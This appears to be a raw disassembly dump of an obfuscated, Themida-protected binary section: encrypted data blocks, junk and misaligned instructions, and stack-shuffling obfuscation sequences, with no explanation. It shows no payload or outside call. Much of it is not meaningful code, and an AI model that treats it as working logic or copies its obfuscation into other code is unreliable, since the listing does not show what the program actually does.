loc_5F3E6B: ; CODE XREF: Themida_:005F3E6Cj
pop es
js short loc_5F3E6B
jnz short loc_5F3E4A
retn 0CD9Bh
; ---------------------------------------------------------------------------
db 54h
dd 0D0DE9B59h, 8D0C10EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah
dd 866E8872h, 0A60C10EFh
; ---------------------------------------------------------------------------
jl short locret_5F3EDF
loc_5F3E92: ; CODE XREF: Themida_:loc_5F3E32j
lds edx, [ecx+edi*2-53h]
assume ds:___
mov bh, [edx-6E907B69h]
and [ebx-6481D40Ah], bl
jle short near ptr loc_5F3ECA+1
sbb al, 56h
mov dh, 1Ah
imul edi, 75h
loc_5F3EAB: ; CODE XREF: Themida_:005F3E5Cj
jns short near ptr loc_5F3ED5+1
adc eax, 0FD7ABE4Eh
das
mov al, gs:59A57B89h
loc_5F3EB9: ; CODE XREF: Themida_:005F3E60j
cmp eax, 0DF709491h
cmc
pop es
mov edx, 0D183FE4Dh
db 3Eh
popf
add [ebx-3], bh
loc_5F3ECA: ; CODE XREF: Themida_:005F3EA2j
jnz short loc_5F3EF6
xchg eax, edx
loope loc_5F3F46
mov esp, 844EA77Ah
push cs
loc_5F3ED5: ; CODE XREF: Themida_:loc_5F3EABj
adc al, ch
dec ecx
rcl byte ptr [esi], 1
test eax, 75FCA77Fh ; CODE XREF: Themida_:005F3EFCj
locret_5F3EDF: ; CODE XREF: Themida_:005F3E90j
retf
; ---------------------------------------------------------------------------
dd 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh, 0BD360B20h, 65548872h
db 0A0h, 89h
; ---------------------------------------------------------------------------
loc_5F3EF6: ; CODE XREF: Themida_:loc_5F3ECAj
push 913D59A5h
xchg eax, esp
jo short near ptr loc_5F3EDA+3
cmc
pop es
mov edx, 85B5FF4Dh
push 0FB608B98h
das
pop ds
pop edi
std
push ecx
fidiv dword ptr [ecx+3Fh]
adc esi, ebp
mov ecx, 9285E94Dh
mov ebp, 4D7A9774h
hlt
; ---------------------------------------------------------------------------
db 61h
dd 0E5743592h, 0F22D157Ah, 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh
dd 0C7DF61CAh, 9775FC5Bh, 4A13451Ch
; ---------------------------------------------------------------------------
sbb al, 56h
loc_5F3F42: ; CODE XREF: Themida_:005F3F52j
popf
loc_5F3F43: ; CODE XREF: Themida_:005F3F44j
inc ebx
jnp short loc_5F3F43
loc_5F3F46: ; CODE XREF: Themida_:005F3ECDj
jnz short loc_5F3F62
dec esp
loc_5F3F49: ; CODE XREF: Themida_:loc_5F3F62j
std
jnz short loc_5F3FC5
sbb al, 56h
popf
mov dh, 7Bh
std
jnz short loc_5F3F42
out 57h, eax
mov dh, 9Fh
out 57h, al
popf
imul edi, [edx-3], 0FCF32375h
loc_5F3F62: ; CODE XREF: Themida_:loc_5F3F46j
jnz short loc_5F3F49
; ---------------------------------------------------------------------------
dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah, 630C0CEFh
dd 4C0707Ch, 5D73E703h, 2C7F518Ah, 7AE002D0h, 873E703h
dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h
db 85h
; ---------------------------------------------------------------------------
loc_5F3FC5: ; CODE XREF: Themida_:005F3F4Aj
wait
int 0FDh
dec ebx
wait
ficom word ptr [ecx+438A036Bh]
retf 0DFA7h
; ---------------------------------------------------------------------------
db 0EEh
; ---------------------------------------------------------------------------
and dl, [edi-4Ah]
lahf
xchg eax, edx
push edi
and bh, [edx+edx*4]
or al, 75h
retf
; ---------------------------------------------------------------------------
dd 22FEA77Ah, 1AF63F51h, 9177747Eh, 438A008Bh, 5E750592h
dd 252D4D7Ah, 69B65779h, 0D10C97FFh, 8FC87D7Ch, 0F373E703h
dd 0FCF8EC0Fh, 0BA6F84A6h, 5C61152Ah, 1B9DFD7Ah, 2775FD78h
dd 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh, 0A60C97F7h
dd 34C87D7Ch, 2F73E703h, 12F8F10Fh, 0CD6F84A6h, 0E4DE152Ah
dd 4AB6FD7Ah, 7975FD7Eh, 0C5846885h, 0C3F8FB60h, 296F8343h
dd 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah, 0BB5E3AF1h
dd 357115F9h, 0CB8A3E78h, 296F8497h, 96514ACEh, 74C1FF0Eh
dd 4E13F2CAh, 0F275C992h, 279DAE7Ah, 0E675FD7Ah, 0BEB5FEF0h
dd 25B5F179h, 68B65778h, 0D10C10EFh, 0EA917D7Ch, 42F539FAh
dd 2EDE9B75h, 415A15D1h, 0D52F0285h, 0ACB7D6BDh, 95FCF992h
dd 0CB7345B9h, 708AFD7Ah, 0F46F848Bh, 0A560F7h, 0A0F8FB60h
dd 4ECD3E39h, 0D075FD7Ah, 8D0C0CEFh, 0CEB57E7Ch, 1A8935F1h
dd 0E80C10EFh, 8E97577Ch, 43BE15B9h, 1DFF0285h, 5A72D97Bh
dd 7F76778Eh, 0CB75FC6Ch, 1DB61608h, 0A7890883h, 0BDF611F1h
dd 0BC9D9D86h, 475FD7Ah, 513C17FBh, 0EAFCFB60h, 27CF7D86h
dd 0E573E703h, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah, 440C0CE8h
dd 0ADFCBD7Ch, 916F848Fh, 79F835F1h, 0E36F8267h, 8B986F85h
dd 7FFDFB60h, 4801F3Ch, 5E75FD6Dh, 56807F79h, 1A35FB60h
dd 0D10AECE0h, 0E1B67E7Ch, 4B22FEF3h, 7975FD64h, 0C5807779h
dd 0ECF8FB60h, 296F8385h, 2F2B5989h, 0CB75FD72h, 9C846F85h
dd 0AF6FB60h, 7185897Eh, 0BC72447Ch, 5A7DFD7Ah, 0F7C3F24Bh
dd 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h, 0C044F972h
dd 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h, 348A015Bh
dd 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah, 7A110222h
dd 6BFCA58Eh, 16E9055Eh, 0B389D93Eh, 7867C92Ch, 0F2B6AD3Ah
dd 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah, 162FFD7Ah
dd 0D10ACD90h, 1CCF707Ch, 7973E703h, 71CCF50Fh, 4F75FD7Ah
dd 9CBC9CDEh, 0A226FD7Eh, 8D0C04E7h, 0D3497D7Ch, 0BE71887Bh
dd 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah, 501C17FBh
dd 25F8FB60h, 0CD6F8483h, 5C7D80F1h, 0F275FD72h, 0B0145989h
dd 0DC75F9B8h, 278C40F7h, 0EF46FB60h, 9775F5C3h, 0AADF0E7Ah
dd 58F89DB9h, 0F46F8483h, 7874C2FBh, 0B000FC7Bh, 5F7182FBh
dd 5A74FC7Bh, 969E0479h, 0ABB69C82h, 9C8C40F7h, 0F3CDFB60h
dd 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h, 0ED7378F7h
dd 0D08AFB60h, 3BE9CA8Bh, 60000000h, 161DBD8Bh, 0EF830613h
dd 8BC93304h, 8320BBC1h, 0C783EDB8h, 8BE04h, 0E8D10000h
dd 0D323D21Bh, 0F4EC233h, 0FFFFF185h, 78941FFh, 100F981h
dd 820F0000h, 0FFFFFFD3h, 0C88BC361h, 1EE9h, 0CF0F9400h
dd 74h, 5 dup(0)
dd 0E9000000h, 503h, 3A3B3FFh, 0E1C18D1Dh, 0FDDD6DBFh
dd 0E6C48CDBh, 0FFDF75C4h, 0BB0A63CCh, 0C9173999h, 0B4072989h
dd 0C1143694h, 411E2B8Bh, 0B83552CCh, 5C061B16h, 0B3226CBDh
dd 109DB557h, 49163E8Bh, 2106A5C4h, 0FA70F1A0h, 3F7E0A2Dh
dd 323FA08Ah, 0F8DA8953h, 0E5CBEB69h, 6569F854h, 775B78D4h
dd 0B4D564E4h, 4999BD2Ch, 0BCA33405h, 1E4F4796h, 109E51C4h
dd 0D869088Dh, 64D52FB9h, 91311BAEh, 133D8EB4h, 143487C9h
dd 93F94B6h, 0C9C61638h, 6CE61779h, 35109E52h, 9EA0B1D0h
dd 4021400Ah, 18B1DBF1h, 5373D56Ah, 0E170DC6Dh, 9E523190h
dd 73DF6D10h, 250E0E2h, 56F31D33h, 710A886Fh, 41778D4Bh
dd 0FA4B6FA3h, 3A820352h, 3EE3h, 6CBD7700h, 50DFC3E0h
dd 0D829B800h, 109DB57Ch, 0C4E861F1h, 0A341EAF4h, 15Ch
dd 6DBD0200h, 0DC6E50E1h, 0A06A5572h, 0BBE86C0Bh, 5B7FEEF6h
dd 62F5440Ch, 57E79B30h, 60F1D7F7h, 0BD74CEECh, 7155E470h
dd 0E43EAFE1h, 0AD109DB4h, 52380968h, 428F43B8h, 3B8EB412h
dd 0AAFE4011h, 0AE3B4ADDh, 177697A6h, 0C0970146h, 3F0BA385h
dd 472E3F5Eh, 5E0E2ECBh, 6A34129h, 6Eh, 4FE0C25Ch, 160EA3Eh
dd 0C4895B7h, 143C8BAFh, 203123B2h, 4688D7E1h, 560958F2h
dd 66F39F1Ch, 0C8EFD0EEh, 8CC48E44h, 50824A57h, 0C0025301h
dd 0BAD81B6Fh, 0D5B5F544h, 52BCA5B4h, 0FFD593B9h, 647DA341h
dd 5E000000h, 0D1920C81h, 3A5B109Dh, 0BE064498h, 0E470BD24h
dd 6ADE7155h, 61DAF8DBh, 923024B1h, 39D28AB5h, 0FB88DF3Eh
dd 0E0C267F1h, 95B7014Fh, 1B380945h, 0B54DC93Ch, 0F716109Dh
dd 0B53F9EEDh, 67B8109Dh, 6B9AF043h, 109DB4EFh, 0AC3455B8h
dd 213EE962h, 9DB572ECh, 12DA3B10h, 41EA8A4Ah, 132A3h
dd 0C2080000h, 0B7014FE0h, 0A8074395h, 3911A387h, 1E78E928h
dd 0E7109DB5h, 8BCF1EA6h, 0FF43123Ah, 8CCE9FAFh, 0D044153Bh
dd 0A4382D9Eh, 0E96598B7h, 0B2109DB4h, 8AFF8953h, 0E8C684D8h
dd 0E6C5C1A8h, 8EB1A677h, 27365716h, 1CBA9223h, 98A9A336h
dd 931094BBh, 268DC08h, 2CCD4BBAh, 8C060A8Ah, 97F243EFh
dd 0BD194C4Ah, 860A8A2Ch, 0B6D76607h, 0F1D6F7D7h, 51E7DE19h
dd 5D6F79C3h, 0E36FBDCCh, 3E8FB382h, 0AC8EB10Eh, 0E2233218h
dd 8A121773h, 51F94B0Ah, 0AA398302h, 1DD566E4h, 4AE2C08Ch
dd 5AADB78Ah, 10332h, 0BEA30800h, 377AEBC8h, 40168EBCh
dd 3D87C91Ah, 0FADC6DB0h, 0E3C5E567h, 676BFA52h, 1FE776D6h
dd 0D76A18B1h, 3FFD5575h, 0A75AAD1Bh, 3Bh, 0C6BCA3BBh
dd 4BFA74E9h, 0BF036F62h, 0AEBFDE6Eh, 9DB5035Fh, 0A4A43790h
dd 2C20B195h, 0B348CA1Dh, 47C4AEC2h, 8596681h, 0F594F544h
dd 4C0BA7D6h, 0F114EF62h, 9AF6D1h, 0C25C0000h, 6EFF4DE0h
dd 5099A52Fh, 59649936h, 42168EA1h, 6CBEE4C3h, 0AA3253E2h
dd 86C6173Bh, 9DAF0228h, 87CD1C3Eh, 0FC5FAE3Dh, 3D0A8A9Fh
dd 0E06EC0E2h, 3D8E3051h, 0CA3FC913h, 0AAA6351Dh, 60727A9Bh
dd 5F5F7FCDh, 2E5F7C0Ah, 10741ECDh, 9E842362h, 0ED7C440Eh
dd 65F458E9h, 0ED7CD061h, 69F85CE9h, 9580F973h, 8B3CCD3Fh
dd 62A9AAA4h, 0BA02C2E0h, 8423637Eh, 52D832A3h, 7CA10470h
dd 5F486774h, 0CE8C8C78h, 53CF3E39h, 1C04708Ch, 0B15098F9h
dd 0A5A0C6Eh, 86248203h, 0EBC8BEA3h, 8735397Ah, 0FE4FCE16h
dd 138FFEE1h, 0DC0A8335h, 8C1D2FB9h, 6DC0E2C0h, 0F5FF8EDFh
dd 855C2DBEh, 6481935h, 86C899B3h, 0F811731h, 3E98CD7Ah
dd 797ADAAh, 6B54E786h, 0B79E5D44h, 529A6530h, 0AB9443B8h
dd 0D0C6913Ah, 0E0F2FAF3h, 0FFE0FF4Dh, 0AD9E148Eh, 30B8DD97h
dd 901D0522h, 0CC1475C4h, 252378Ah, 1E203150h, 5E72C38Dh
dd 42065981h, 0C04A92F3h, 8B39C4Bh, 9F1404F2h, 8EEF5FEFh
dd 8BC11446h, 9C12032Ch, 88314EEEh, 0A351240h, 8C5359C5h
dd 54864ECCh, 436C4B01h, 981026F4h, 47A62E2Fh, 30Ah, 0E17BA800h
dd 54E571BDh, 0DC6DDF72h, 52E365FAh, 0E372E070h, 330252DFh
dd 0C392C20Fh, 1120307Fh, 9EAF9B2Dh, 15242ABCh
db 22h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], esi
push 553Dh
mov [esp], edi
sub esp, 4
mov [esp], edi
push 6D281E9Dh
pop edi
neg edi
add edi, 71FB69FBh
xor edi, 2C9CB1Ch
mov esi, edi
pop edi
push esp
mov edi, [esp]
add esp, 4
push eax
mov eax, 8
add eax, edi
push esi
pop dword ptr [eax]
pop eax
mov edi, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_58442C
; ---------------------------------------------------------------------------
dd 68C0ECA3h, 3AF970EAh, 0F5B3A6CBh, 0B8F97D91h, 61A84B3h
dd 0E0FFC503h, 413C4D4Ah, 2B1A9F48h, 4183B9A8h, 38722C1Dh
dd 19061565h, 38FD3C74h, 6811E9FCh, 292074D9h, 43FD7E5Ah
dd 1B23797Eh, 43308F7Ch, 3D677558h, 5ED36120h, 52167FE6h
dd 6B8FBA91h, 9384C8h, 263179E8h, 9B704F5h, 0FC7C038h
dd 5A209574h, 53DB5441h, 6CC393CFh, 7C56B2Dh, 79CE58F8h
dd 41B82809h, 466069DDh, 157876C6h, 24EA72B9h, 69B4EB2Fh
dd 21E9h, 0E3E7E600h, 53h, 6 dup(0)
dd 0A3E90000h, 6800000Ch, 61A87E8h, 0F8FB6BE9h, 88B368FFh
dd 61E9061Ah, 68FFF8FBh, 61A8971h, 0F8FB57E9h, 8A0C68FFh
dd 4DE9061Ah, 68FFF8FBh, 61A8CF7h, 0F8FB43E9h, 8FD468FFh
dd 39E9061Ah, 68FFF8FBh, 61A90DFh, 0F8FB2FE9h, 0F462F0FFh
dd 0EC62F4D6h, 0F258ECCEh, 0F35DEED4h, 0F460EDD3h, 2348E7D6h
dd 3A20BE96h, 280AA8AAh, 3315B593h, 3F0CAAA2h, 3B71ED20h
dd 0E73A16B8h, 0E470BD7Bh, 3547655h, 0DC50664Dh, 1C12BEB4h
dd 1B2D82D4h, 20667BBBh, 0B01B5283h, 230C168Eh, 0EC95D17Bh
dd 85E2EAE6h, 0D160EC3Dh, 61F05CEDh, 0CA5D4120h, 0BF4E1F7Eh
dd 0A8A2F5Fh, 38DF5CB6h, 0BC8DBF12h, 0DCB935Dh, 0B55AAD9Ch
dd 42h, 0ABEA389h, 9DB57FDBh, 0A4C54810h, 0BA922307h, 75626AABh
dd 8EAB1500h, 0E5FBE16h, 8A951F7Fh, 430B5B0Ah, 0CD7BD0F2h
dd 0C2375B7Ch, 0B800AD3h, 0AD0A13E1h, 7DCDF55Ah, 0B70180D1h
dd 760h, 0CCC4F600h, 6A000007h, 51E06CBDh, 1CADDC6Dh, 81E02130h
dd 8AFCE521h, 0A37DB82Dh, 8706168Eh, 0A0B20228h, 0DA38C918h
dd 310A8A9Eh, 8CB364D5h, 0FFBA6E52h, 5CEFD31Bh, 0B43C5DECh
dd 0AD176C2Ch, 25D45Ah, 0A36A0000h, 7AEBC8BEh, 168E989Bh
dd 78D2666Ch, 78C9A8E9h, 8A888909h, 15A6E00Ah, 0AD3E29E7h
dd 0D1915Ah, 0BDA50000h, 6D51E06Ch, 641EB1E0h, 562C8DD4h
dd 84E584D1h, 0C4091B5h, 163E8BAFh, 0A52F25B4h, 9BB10446h
dd 8DC7163Ch, 45935DBCh, 9E7C9816h, 8BC11410h, 98B4052Bh
dd 10766BC9h, 813F42B3h, 0F518168Fh, 0F690D9D5h, 81D4F6D9h
dd 6E7ED80Dh, 0C6470A8Bh, 6D7796A7h, 75D73B1Eh, 32A38410h
dd 475C3D8h, 0F7747CA1h, 0E7163996h, 475C46Bh, 34E6CC9Ch
dd 0B9864548h, 6B4F8C54h, 725876DEh, 82FC71E3h, 0AB79FDB2h
dd 9F9E1FCh, 19A50000h, 2BBB9D3Dh, 0B9D8323h, 2AB99F3Fh
dd 13A28826h, 0FD326141h, 0B3134190h, 0B3133F8Dh, 0B00E3A8Dh
dd 0B515378Ah, 0D832A3ACh, 0A116B83Bh, 70BDD688h, 264EF21Eh
dd 564F87Ah, 1C3284A6h, 11A486D4h, 0A33D9B3Bh, 7AEBC8BEh
dd 168E989Bh, 3B18296Ch, 896DE91Ch, 0D7360A8Ah, 89207E0Dh
dd 1B770A8Ah, 3EBE7E9Eh, 0A0265AADh, 3C000000h, 51E06CBDh
dd 51FF5072h, 5CF84587h, 0B0FE7C0Dh, 587F109Dh, 42B7D455h
dd 0BE2F8CE1h, 109D2564h, 0EEE0E82Dh, 0F0D2F15Bh, 3D5CED5Bh
dd 3283A5B3h, 0F4ED4B1Ah, 0BDC03592h, 96168E2Ah, 12575777h
dd 14265774h, 0D107476h, 0BA072B88h, 0C7163C9Ah, 1750D88Dh
dd 0C66579FCh, 92E8Bh, 74E27000h, 6CE27456h, 72D86C4Eh
dd 73DD6E54h, 74E06D53h, 0A3C86756h, 0BAA03E16h, 0A88A282Ah
dd 0B3953513h, 0BF8C2A22h, 3CF16DA0h, 67BA16B8h, 2DDC2FBh
dd 15620A27h, 0DB6A6C74h, 0E6775979h, 0BDEA4866h, 69C91A6Ch
dd 84D88037h, 11751D9Bh, 0CDACCD4Eh, 0D47ACCEEh, 2DBC0485h
dd 16B49829h, 8FC31139h, 3F955FBEh, 52342D4Eh, 78610075h
dd 1372168Fh, 45DA5DF0h, 2940B346h, 760F7E5Dh, 7766B73Ah
dd 0E94716h, 8FDE76C3h, 1D506F0Eh, 60A139EEh, 64E4775Bh
dd 0F6D5B4D5h, 0EBCB81D4h, 621EE5CAh, 3BBED5F6h, 1EDBAE31h
dd 7D1B082h, 0A5D874C5h, 0CA23BBEDh, 70627F2Eh, 2E000008h
dd 3218B6A0h, 2A10AEA0h, 3416B496h, 2B0DADA3h, 2518B69Eh
dd 54E10Ah, 223080A2h, 3F099E84h, 2428B99Fh, 6392BD86h
dd 16B83DE7h, 0BDC579B0h, 0DFC3E06Ch, 2BBA0252h, 5CEFD40Dh
dd 0BF2E8DECh, 168EAF96h, 163996F7h, 8A9B6BE7h, 7D1340Ah
dd 77C5EDCAh, 6CBF11DBh, 0FC5F1816h, 0DF71BEA6h, 4B6B0A6Bh
dd 5976D265h, 28B0776h, 31540A8Ah, 4DC938A7h, 340A8A03h
dd 0A89F2D6h, 3695F1F8h, 7AFDFEC7h, 0ED7B5F10h, 11350465h
dd 23D98CC0h, 5079FE90h, 7D5BC99h, 7DC90000h, 87D7F9D9h
dd 6FC1E7C7h, 86D5FBDBh, 77C6ECCAh, 61CEFDDDh, 3797BD0Ch
dd 2F8FC311h, 3492B609h, 3191BB0Eh, 5CB62728h, 2516B83Fh
dd 0BEA352ECh, 0D37AEBC8h, 34168EBFh, 0C495BF0Eh, 36152445h
dd 0F4C4C014h, 9B290C16h, 889D8B9h, 123C8EC0h, 8D0B8AB5h
dd 464480F9h, 607F607Eh, 8A0CB12Dh, 0D11B7A0Ah, 4E1F2F7Fh
dd 318EF6F2h, 0A719290Eh, 0E391FBF7h, 3068AAD9h, 9310A8Ah
dd 81C697BBh, 921B0EEDh, 9B254426h, 6A7ECF4Eh, 4FDF9328h
dd 4BE0A93Ch, 4CCD9CFDh, 5E8D2Dh, 220A89DBh, 0EC21BEC6h
dd 0A89DB96h, 0F2D8F617h, 0EED1EE60h, 89DB237Fh, 1FA9EC0Ah
dd 0DAC931C0h, 36230A89h, 9CD1C514h, 0A89DA42h, 5AEB8A0Bh
dd 0E257B13Bh, 94C00D35h, 0A0B1A332h, 0E5755761h, 0D7674969h
dd 0C6E9E677h, 89DA3B97h, 3781040Ah, 89DA9AC8h, 31CA440Ah
dd 0C3D4A186h, 3ED3A044h, 7612A4B6h, 0EA56D8B2h, 82D2F429h
dd 610081D0h, 691B4541h, 0EBBA1B4Ah, 0D4FB0A89h, 0B84BC4D1h
dd 45A22A8Ah, 6FBFE3C0h, 275615DFh, 5EE8E30Eh, 5C80F995h
dd 26CB4B9Ch, 0F32F597Eh, 636377EDh, 1414259h, 0A3180000h
dd 7AEBC8BEh, 168EA0D3h, 38987BA4h, 0BE522084h, 7754B936h
dd 6C4A0253h, 7A59F346h, 0C3234D55h, 6F79E859h, 986381F0h
dd 266C91C7h, 4CDD95h, 1F2D80A2h, 8EF6F24Eh, 97B90A30h
dd 1B3184C6h, 84495BBh, 0CF1CC839h, 0CD45D4BCh, 1933863Ch
dd 64697B9h, 95EFF937h, 8EC41436h, 6AE41946h, 3310B8CCh
dd 7BCDF5D2h, 0F1D705CFh, 0B39F2D64h, 330263A2h, 3A99EBF5h
dd 0B8CC53CBh, 759B8410h, 36369FD5h, 0B96925CAh, 706A6E12h
dd 3C9AFB68h, 0B889C316h, 0F54A4796h, 0E2830253h, 6DDD6F53h
dd 0E769FADCh, 7B108256h, 3FBC368Ah, 0AC0A4293h, 2A5B3386h
dd 10B99AB0h, 22B21479h, 0A4005130h, 7AEBC8BCh, 10B99B28h
dd 401FBCE1h, 0B99B51CDh, 0F1FB1A10h, 0E06CBDE3h, 20557251h
dd 10B99AA6h, 0B4A62E6Fh, 0A88A291Fh, 2C2B3A18h, 0B99B5DB9h
dd 86E72610h, 0F779AF3Eh, 0CF7DD082h, 1178C9EFh, 0D67CCCC3h
dd 2987D6B7h, 0F766453Fh, 10B99AA7h, 0B3953558h, 3A192820h
dd 0A4D36C15h, 3F89F849h, 3897EDF3h, 0B91E59C5h, 6EC00210h
dd 52281E0h, 0B91E76D0h, 0CD1B3F10h, 3455B485h, 0BD14AEACh
dd 0DFC3E06Ch, 2C6DFC4Ch, 6F7AB6A4h, 0C045B817h, 99168E9Dh
dd 1D2C20B1h, 1C3E9DFCh, 0FF2181C7h, 1B3F9CACh, 50B180C8h
dd 8A880273h, 0CC510A8Ah, 22476504h, 0CB8C359Eh, 1E7F7E4Fh
dd 0CD054CC1h, 2766107Ah, 0A967E716h, 60890476h, 0AD548926h
dd 0E0A67B3h, 499CBE8Fh, 44BC4E03h, 16D573EBh, 4EA3Bh
dd 3026B400h, 301EB092h, 2E1CB092h, 3719AA90h, 3024B197h
dd 5F8CA392h, 0FE2482D2h, 2406A4AEh, 3719B98Fh, 3B08A6A6h
dd 4165E114h, 0FB2E16B8h, 0C8BEA347h, 0A4577AEBh, 6DB0168Eh
dd 0A2FC714Eh, 0D60A8A9Dh, 1B7ACB85h, 60FFC94Ch, 8A9DB011h
dd 0F258EC0Ah, 7CCC5F63h, 0EAB25EDh, 0D7749E27h, 0AD0FE7B5h
dd 0EA1895Ah, 0BC6BB23Ah, 0CF000000h, 9DB54270h, 0F1D3E110h
dd 0D2CEEC60h, 9FCEED95h, 109DB54Bh, 0FD228104h, 31C6033Eh
dd 94539D33h, 9FDC90B7h, 6AD9D2Fh, 973B9B8Fh, 9CBE0646h
dd 63A30349h, 86A9067Ch, 993D13A4h, 4BBA0246h, 109E25D7h
dd 1F3C0D90h, 1CA4AC3Bh, 0D4DFA73Ah, 1A9B48DAh, 95F16443h
dd 5E109E2Ah, 56815E3Fh, 0CB3835D4h, 0ECAB4D9Eh, 0FC739037h
dd 3373616Bh, 5679562Ch, 9E84AB27h, 0C7117410h, 851B5B8Ah
dd 0A6AC109Eh, 65E37815h, 85D4B5D4h, 0A5D46504h, 109EC525h
dd 0BC8CFD6Fh, 87CD1CA3h, 993657B6h, 8E2D21B1h, 9E45035Fh
dd 7F49CC10h, 44C32352h, 3154109Eh, 0A5B691h, 0A31C0000h
dd 0C7EBC8BEh, 584D575h, 0A66F9EBBh, 77168EBFh, 5B8A0053h
dd 0A8AA8FFh, 152445C8h, 607FECF4h, 8AA8B12Dh, 470FE20Ah
dd 5DFF710Dh, 5FEE8F0Eh, 4565ED7Bh, 7A003F68h, 0B79A1714h
dd 0BA8BC313h, 3D25915Bh, 0A1F96C4Bh, 620A89E7h, 0AF32695Dh
dd 492865AEh, 30689F8h, 2561E94Fh, 51A86894h, 3C105AADh
dd 26000000h, 0EAC9BFA3h, 9DB51F7Bh, 94A5E810h, 923022B2h
dd 0E6794C96h, 0D3B2D362h, 0B55181F4h, 382109Dh, 0F543C332h
dd 638D109Dh, 0C0C822E6h, 4ADEC4E3h, 1949B800h, 4A109D75h
dd 0BD4DEBCBh, 7251E06Ch, 87037255h, 50109DB4h, 0B4429CCDh
dd 8A0B109Dh, 8FBD1042h, 8CFAEF2Fh, 0A283BE2Fh, 890C168Eh
dd 9DC949B8h, 0E6200A8Ah, 5085A255h, 0A8A9DF6h, 0CE965EBFh
dd 5AAD0F0Eh, 49B6h, 0E0C28C00h, 0C9F5FF4Dh, 94C9E6A0h
dd 168E98B5h, 0C7360786h, 0A8A8947h, 91573583h, 0C21F73C7h
dd 4B8FDEBFh, 900455FDh, 71786DDEh, 0D4F3A415h, 8A8025A1h
dd 8AFEE0Ah, 2D97D075h, 0B32BB59Eh, 5AAD59E5h, 0CD4Dh
dd 6CBDF100h, 0E06D51E0h, 0C4E6E574h, 0C012DA70h, 518EDF6Dh
dd 0DA323666h, 2F7E3B8Dh, 5A7C4425h, 0F6654507h, 109E4578h
dd 0CBEB61F4h, 0D674C8EAh, 0D379CC0Eh, 4B3B2682h, 15ACF96Ch
dd 0E2C5168Fh, 8B141773h, 33BDE00Ah, 0EA6499B6h, 0B30A8B13h
dd 93933352h, 6A9B384Eh, 10757CD0h, 3317B4D9h, 2E11AEA6h
dd 0E495BB0Ch, 4756A6Ah, 0CC0AD233h, 0D474C7EBh, 9ABC0485h
dd 0BC54094Bh, 0C179FD11h, 20D2F2Ah, 45910000h, 3F8FB111h
dd 3789AF0Fh, 3E8DB313h, 3F8EB412h, 0A986B515h, 7F5FF544h
dd 67470B59h, 7C5AEE41h, 69490356h, 940E7F60h, 5D16B843h
dd 70BD1A44h, 0C2E8C7E4h, 3150E173h, 9DB4C640h, 0C60E8F10h
dd 2D1FB298h, 0E0C2338Dh, 46D9394Dh, 2DC5A537h, 549CFD4Ch
dd 268501E8h, 4F99AF04h, 2FF2D302h, 42C3168Fh, 200482F3h
dd 2F5B0A8Bh, 81A2729Ah, 0E70A5AACh, 30000000h, 0C3E06CBDh
dd 0E06ABEE4h, 0C5413051h, 8E109DB4h, 3051F74Ch, 0C81539A8h
dd 0F3D87CC9h, 0E22D22D3h, 0C091F060h, 9EA0B131h, 0B09C2D10h
dd 0AF9D3012h, 3F47A29Eh, 2426BAA0h, 0E34EBF9Ch, 0FC168F70h
dd 717497D3h, 983F4A8Bh, 32C2BE42h, 9F4C9475h, 820882B8h
dd 75C4F343h, 0FFDFBEDFh, 0FFDCAABFh, 75AC938Eh, 9A395C10h
dd 454495BDh, 0B13B5AF6h, 6542129Fh, 0D564F03Dh, 0E88834EEh
dd 5839DB91h, 0D1604290h, 5E10CE83h, 0AA4179FCh, 102AFh
dd 84E9C00h, 183688AAh, 64498BAh, 1F3182A8h, 84C99BFh
dd 57B47BAAh, 466C4A0Ah, 5C7E5CF6h, 3F614107h, 73805EEEh
dd 449DF96Ch, 336616B8h, 0E470BD0Fh, 0FE56E3C7h, 71D96B6Fh
dd 0A88AC810h, 0B6973715h, 2C20B199h, 9DB4E13Dh, 88C41510h
dd 8A0B58B9h, 6CBD9842h, 0C3E4C3E0h, 9DB53892h, 0ED9C0110h
dd 109DB571h, 5211DB3Ah, 38584A75h, 0CB250BC4h, 634BA9E4h
dd 854FC38Fh, 6D4A0253h, 0B5AF645h, 3314428Ah, 1265E114h
dd 0EF2E109Eh, 0F690D9E5h, 8EEBA4D9h, 27301687h, 89814F7Fh
dd 0D5C3DFEh, 0F6D478C9h, 720581D4h, 311DAD1Dh, 0D9BAE120h
dd 0BD8CED98h, 4A35DF4Ch, 710A883Fh, 0F94FE4C6h, 4CDDEFh
dd 1F2D80A2h, 95BB0C4Eh, 0F0111136h, 7CC287FFh, 0B4D564EAh
dd 885C0BD5h, 6CBD7506h, 4DE0C2E0h, 14736EFFh, 4C000000h
dd 4EA0FA6Bh, 2469B489h, 5E7B429Ch, 0D263E97Ch, 0BDAF29B3h
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h
dd 4C6h, 4EE8300h, 2474FF56h, 48F5E04h
; ---------------------------------------------------------------------------
and al, 5Ch
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebp
